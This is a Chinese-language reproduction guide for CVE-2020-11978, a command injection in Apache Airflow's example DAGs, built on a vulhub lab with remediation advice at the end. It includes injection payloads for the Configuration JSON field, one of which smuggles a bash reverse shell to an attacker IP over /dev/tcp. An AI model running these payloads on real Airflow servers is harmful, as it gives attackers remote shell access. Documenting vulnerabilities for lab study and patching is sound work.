目录
一、漏洞信息
漏洞名称 | APACHE AIRFLOW 示例DAG中的命令注入漏洞 |
---|---|
漏洞编号 | CVE-2020-11978 |
危害等级 | 中危 |
CVSS评分 | 6.5 |
漏洞厂商 | Apache |
受影响版本 | Apache Airflow <= 1.10.10 |
漏洞概述 | Apache Airflow是美国阿帕奇(Apache)软件基金会的一套用于创建、管理和监控工作流程的开源平台。该平台具有可扩展和动态监控等特点。 Apache Airflow 1.10.10及之前版本中的 example DAGs存在操作系统命令注入漏洞。攻击者可利用该漏洞运行任意命令。 |
二、环境搭建
使用vulhub提供的镜像容器进行靶场搭建:
docker-compose run airflow-init #初始化数据库
docker-compose up -d #启动靶场环境
访问http://your-ip:8080可进入airflow管理端
三、复现过程
1.测试漏洞
在服务器端创建文件
1.1访问airflow管理端后,先将example_trigger_target_dag前的Off改为On,并进入:
1.2在Configuration JSON中输入{"message":"'";touch /tmp/whats_up_success;#"},在tmp文件内创建whats_up_success,点击Trigger执行:
1.3等待一段时间后可以看到该命令成功执行:
1.4在服务端进入容器查看结果,成功:
2.利用漏洞反弹shell
2.1先在攻击机kali(192.168.92.130)上开启nc反监听,设置端口6666:
2.2再在Configuration JSON中输入{"message":"'";bash -i >& /dev/tcp/192.168.92.130/6666 0>&1;#"}并执行
2.3一段时间后观察到已成功执行:
2.4回到130kali上查看结果,成功:
四、修复建议
1、请及时升级至1.10.10版本以上,可从官网获取。
2、删除或禁用默认DAG(删除或在配置文件中禁用默认DAGload_examples=False)